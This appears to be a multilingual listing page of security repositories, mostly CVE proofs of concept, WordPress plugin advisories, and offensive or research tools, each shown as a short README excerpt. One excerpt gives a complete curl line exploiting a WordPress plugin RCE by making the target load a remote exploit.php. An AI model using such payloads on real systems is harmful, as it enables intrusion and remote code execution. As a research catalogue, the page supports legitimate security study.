pe-signgen

pe-signgen Windows PE 함수용 크로스 버전 바이너리 시그니처 및 RVA 오프셋 개요 pe-signgen는 리버스 엔지니어와 보안 연구자를 위한 도구로, 다음 항목을 자동으로 생성합니다: 비내보내기 및 내보내기 함수 에 대한 바이너리 시그니처 와일드카드가 포함된 바이트 패턴 바이너리에서 함수를 직접 찾기 위한 RVA 및 파일 오프셋 여러 Windows 버전에서 작동하는 크로스 빌드 시그니처 다양한 사용 사례에 최적화된 여러 출력 형식 x64, ARM64 및 WoW64 아키텍처 지원 핵심 아이디어 는 Windows...

libsrtp

Introduction to libSRTP This package provides an implementation of the Secure Real-time Transport Protocol SRTP, the Universal Security Transform UST, and a supporting cryptographic kernel. The SRTP API is documented in include/srtp.h, and the library is in libsrtp2.a after compilation. This...

CVE-2026-14378-DevKit-Pro-Auth-Bypass

CVE-2026-14378 — WordPress DevKit Pro プラグインにおける未認証の認証バイパス -red.svg 目次 1. エグゼクティブサマリー 2. 脆弱性の内訳 3. 根本原因と技術的分析 4. 完全な攻撃ウォークスルー ステップバイステップ ステップ 0: 環境セットアップ ステップ 1: プラグインがインストールされ脆弱であることを確認する ステップ 2: Nonce リークをトリガーする ステップ 3: Revert-Switch リクエストを送信する ステップ 4: 管理者アクセスを検証する 5. スキャナーによる検出 脆弱な状態の出力...

CVE-2019-9978

CVE-2019-9978 - Social Warfare 워드프레스 플러그인 RCE 사전 인증 없이 Social Warfare 워드프레스 플러그인에서 발생하는 RCE 개념 증명 curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 취약한 코드 : 수정:...

CVE-2025-29927

Введение Обход механизма аутентификации промежуточного слоя Next.js путем подделки заголовка x-middleware-subrequest, позволяющий неавторизованный доступ к защищенным маршрутам. Настройка окружения Исходный код проекта взят от P神, версия Next.js 15.2.2 For Next.js 15.x, this issue is fixed in...

CVE-2026-42945-POC

CVE-2026-42945 NGINX Rift - HTB 대비 익스플로잇 2024년에 발견된 NGINX 힙 버퍼 오버플로 취약점에 대한 독립 실행형 익스플로잇입니다. 이 버전은 Docker 컨테이너를 설정할 수 없는 HackTheBox 및 CTF 환경에 최적화되어 있습니다. 취약점 세부 정보 CVE-2026-42945 는 2008년버전 0.6.27부터 존재해 온 NGINX ngxhttprewritemodule의 치명적인 힙 버퍼 오버플로입니다. 이 버그는 다음 상황에서 발생합니다: 1. rewrite 지시문의 대체 문자열에 ?...

DIR-890L-1.20-RCE

D-Link DIR-890L RCE Затронутая версия: = v1.22B01 Hotfix последняя Firmware: Here Эта модель достигла конца своего жизненного цикла. Ресурсы, связанные с этими продуктами, прекратили разработку и больше не поддерживаются. Компания D-Link Systems, Inc. рекомендует вывести эти продукты из...

flawfinder

About This is "flawfinder" by David A. Wheeler. Flawfinder is a simple program that scans C/C++ source code and reports potential security flaws. It can be a useful tool for examining software for vulnerabilities, and it can also serve as a simple introduction to static source code analysis tools...

CVE-2025-4602

eMagicOne Store Manager для WooCommerce = 1.2.5 — Чтение произвольных файлов без аутентификации Плагин eMagicOne Store Manager для WooCommerce предоставляет конечную точку протокола удалённого управления ?connector=bridge, которая позволяет выполнять операции удаления файлов на сервере. Механизм...

rust_syscalls

RUSTSYSCALLS Windows용 런타임 SSN 해석을 지원하는 단일 스텁 직접/간접 시스템 콜. Features: 모든 시스템 콜에 대해 한 줄이면 충분합니다 컴파일 타임에 함수 이름 해싱 직접 또는 간접 시스템 콜 x8664, WOW64 및 x86 네이티브 지원 사용자 정의 SSN 가져오기 방식 구현을 허용하도록 설계됨 자세한 내용은 이 README의 끝부분을 확인하세요 사용 방법: 1. 라이브러리의 git 저장소 / 로컬 경로를 dependencies에 추가하세요: rustsyscalls = git =...

cve-2019-11707

SpiderMonkey - CVE-2019-11707 Ошибка: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820 Скриншоты Файлы exploit.js — непосредственно эксплойт, к нему добавлены saelo's util.js и Int64.js. stager.js — используется для создания констант, к нему добавлены saelo's util.js и Int64.js...

RunasCs

RunasCs RunasCs 는 명시적 자격 증명을 사용하여 현재 사용자의 로그온이 제공하는 권한과 다른 권한으로 특정 프로세스를 실행하는 유틸리티입니다. 이 도구는 Windows 기본 제공 runas.exe 의 개선된 오픈 버전으로, 몇 가지 제한 사항을 해결합니다: 명시적 자격 증명 허용 대화형 프로세스 및 서비스 프로세스에서 모두 작동 새 프로세스 생성을 위해 Window Stations 및 Desktop 의 DACL 을 제대로 관리 호출 프로세스에 필요한 권한이 있는 경우 CreateProcessAsUser 및...

CVE-2025-44148

CVE-2025-44148 - Межсайтовый скриптинг с отражением Reflected XSS Межсайтовый скриптинг с отражением XSS в MailEnable Разработчик: MailEnable Pty. Ltd. Затронутые версии: 10 Описание Уязвимость межсайтового скриптинга с отражением XSS существует в MailEnable Webmail из-за некорректной санации...

raven

Raven - Advanced Cyber Threat Map Simplified, customizable and responsive. It uses D3.js with TOPO JSON, has 247 countries, 100,000 cities, and can be used in an isolated environment without external lookups!. Structure Offline - Demo Firefox, Chrome or Safari Live - Regression 500 attacks at onc...

raven

Raven - Продвинутая карта киберугроз упрощенная, настраиваемая и адаптивная. Использует D3.js с TOPO JSON, содержит 247 стран, 100 000 городов и может использоваться в изолированной среде без внешних запросов!. Структура Офлайн - Демо Firefox, Chrome или Safari В реальном времени - Регрессия 500...

CVE-2026-97643

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's givewpcampaigngrid shortcode in versions up to, and including, 4.17.0 This is due to insufficient input sanitization and output escaping on user supplied...

CVE-2026-92975

The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.8.3 via the createsupportuser function. This is due to the function identifying the support account solely by matching against publicly...

CVE-2026-83526

The FV Player 8 plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 8.1.7 via the checkmimetype function. This is due to insufficient file type validation in checkmimetype, which writes attacker-supplied remote file content to the public uploads...

CVE-2026-18496

The Booking Calendar plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 11.4.3 via the wpbcisshowpopoverinflextimeline function. This makes it possible for unauthenticated attackers to extract sensitive data including names, email addresses,...

CVE-2026-104725

The Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.9 This is due to a missing ownership and capability check on the user parameter within the processedit function, which allows any...